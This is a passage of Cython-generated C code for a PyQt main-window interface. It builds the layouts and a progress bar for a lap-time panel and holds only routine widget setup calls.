<<<<<<<<<<<<<< * self.P_Laptime.setObjectName("P_Laptime") * self.verticalLayoutWidget_3 = QtWidgets.QWidget(self.P_Laptime) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Laptime); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 753, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 753, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 753, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QRect); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 753, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__478, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 753, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 753, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 753, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 753, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 753, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 753, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":754 * self.P_Laptime = QtWidgets.QWidget() * self.P_Laptime.setGeometry(QtCore.QRect(0, 0, 821, 477)) * self.P_Laptime.setObjectName("P_Laptime") # <<<<<<<<<<<<<< * self.verticalLayoutWidget_3 = QtWidgets.QWidget(self.P_Laptime) * self.verticalLayoutWidget_3.setGeometry(QtCore.QRect(0, 0, 791, 471)) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Laptime); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 754, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 754, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__479, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 754, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":755 * self.P_Laptime.setGeometry(QtCore.QRect(0, 0, 821, 477)) * self.P_Laptime.setObjectName("P_Laptime") * self.verticalLayoutWidget_3 = QtWidgets.QWidget(self.P_Laptime) # <<<<<<<<<<<<<< * self.verticalLayoutWidget_3.setGeometry(QtCore.QRect(0, 0, 791, 471)) * self.verticalLayoutWidget_3.setObjectName("verticalLayoutWidget_3") */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 755, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 755, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_P_Laptime); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 755, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 755, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_7}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 755, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_7}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 755, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 755, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 755, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_3, __pyx_t_6) < 0) __PYX_ERR(0, 755, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":756 * self.P_Laptime.setObjectName("P_Laptime") * self.verticalLayoutWidget_3 = QtWidgets.QWidget(self.P_Laptime) * self.verticalLayoutWidget_3.setGeometry(QtCore.QRect(0, 0, 791, 471)) # <<<<<<<<<<<<<< * self.verticalLayoutWidget_3.setObjectName("verticalLayoutWidget_3") * self.verticalLayout_P_Laptime = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_3) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 756, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 756, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 756, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QRect); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 756, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__480, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 756, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 756, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_1}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 756, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_1}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 756, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 756, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 756, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":757 * self.verticalLayoutWidget_3 = QtWidgets.QWidget(self.P_Laptime) * self.verticalLayoutWidget_3.setGeometry(QtCore.QRect(0, 0, 791, 471)) * self.verticalLayoutWidget_3.setObjectName("verticalLayoutWidget_3") # <<<<<<<<<<<<<< * self.verticalLayout_P_Laptime = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_3) * self.verticalLayout_P_Laptime.setContentsMargins(0, 0, 0, 0) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 757, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 757, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__481, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 757, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":758 * self.verticalLayoutWidget_3.setGeometry(QtCore.QRect(0, 0, 791, 471)) * self.verticalLayoutWidget_3.setObjectName("verticalLayoutWidget_3") * self.verticalLayout_P_Laptime = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_3) # <<<<<<<<<<<<<< * self.verticalLayout_P_Laptime.setContentsMargins(0, 0, 0, 0) * self.verticalLayout_P_Laptime.setSpacing(1) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 758, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QVBoxLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 758, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 758, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 758, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 758, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 758, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 758, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_7, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 758, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Laptime, __pyx_t_6) < 0) __PYX_ERR(0, 758, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":759 * self.verticalLayoutWidget_3.setObjectName("verticalLayoutWidget_3") * self.verticalLayout_P_Laptime = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_3) * self.verticalLayout_P_Laptime.setContentsMargins(0, 0, 0, 0) # <<<<<<<<<<<<<< * self.verticalLayout_P_Laptime.setSpacing(1) * self.verticalLayout_P_Laptime.setObjectName("verticalLayout_P_Laptime") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Laptime); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 759, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 759, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__482, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 759, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":760 * self.verticalLayout_P_Laptime = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_3) * self.verticalLayout_P_Laptime.setContentsMargins(0, 0, 0, 0) * self.verticalLayout_P_Laptime.setSpacing(1) # <<<<<<<<<<<<<< * self.verticalLayout_P_Laptime.setObjectName("verticalLayout_P_Laptime") * self.horizontalLayout_5 = QtWidgets.QHBoxLayout() */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Laptime); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 760, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setSpacing); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 760, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__483, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 760, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":761 * self.verticalLayout_P_Laptime.setContentsMargins(0, 0, 0, 0) * self.verticalLayout_P_Laptime.setSpacing(1) * self.verticalLayout_P_Laptime.setObjectName("verticalLayout_P_Laptime") # <<<<<<<<<<<<<< * self.horizontalLayout_5 = QtWidgets.QHBoxLayout() * self.horizontalLayout_5.setContentsMargins(-1, 0, 0, 0) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Laptime); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 761, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 761, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__484, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 761, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":762 * self.verticalLayout_P_Laptime.setSpacing(1) * self.verticalLayout_P_Laptime.setObjectName("verticalLayout_P_Laptime") * self.horizontalLayout_5 = QtWidgets.QHBoxLayout() # <<<<<<<<<<<<<< * self.horizontalLayout_5.setContentsMargins(-1, 0, 0, 0) * self.horizontalLayout_5.setSpacing(1) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 762, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QHBoxLayout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 762, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_4) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 762, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 762, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_5, __pyx_t_6) < 0) __PYX_ERR(0, 762, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":763 * self.verticalLayout_P_Laptime.setObjectName("verticalLayout_P_Laptime") * self.horizontalLayout_5 = QtWidgets.QHBoxLayout() * self.horizontalLayout_5.setContentsMargins(-1, 0, 0, 0) # <<<<<<<<<<<<<< * self.horizontalLayout_5.setSpacing(1) * self.horizontalLayout_5.setObjectName("horizontalLayout_5") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 763, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 763, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__485, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 763, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":764 * self.horizontalLayout_5 = QtWidgets.QHBoxLayout() * self.horizontalLayout_5.setContentsMargins(-1, 0, 0, 0) * self.horizontalLayout_5.setSpacing(1) # <<<<<<<<<<<<<< * self.horizontalLayout_5.setObjectName("horizontalLayout_5") * self.PB_TimeRace_2 = QtWidgets.QProgressBar(self.verticalLayoutWidget_3) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 764, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setSpacing); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 764, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__486, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 764, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":765 * self.horizontalLayout_5.setContentsMargins(-1, 0, 0, 0) * self.horizontalLayout_5.setSpacing(1) * self.horizontalLayout_5.setObjectName("horizontalLayout_5") # <<<<<<<<<<<<<< * self.PB_TimeRace_2 = QtWidgets.QProgressBar(self.verticalLayoutWidget_3) * self.PB_TimeRace_2.setEnabled(True) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 765, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 765, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__487, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 765, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":766 * self.horizontalLayout_5.setSpacing(1) * self.horizontalLayout_5.setObjectName("horizontalLayout_5") * self.PB_TimeRace_2 = QtWidgets.QProgressBar(self.verticalLayoutWidget_3) # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setEnabled(True) * self.PB_TimeRace_2.setToolTip("") */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 766, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QProgressBar); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 766, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, 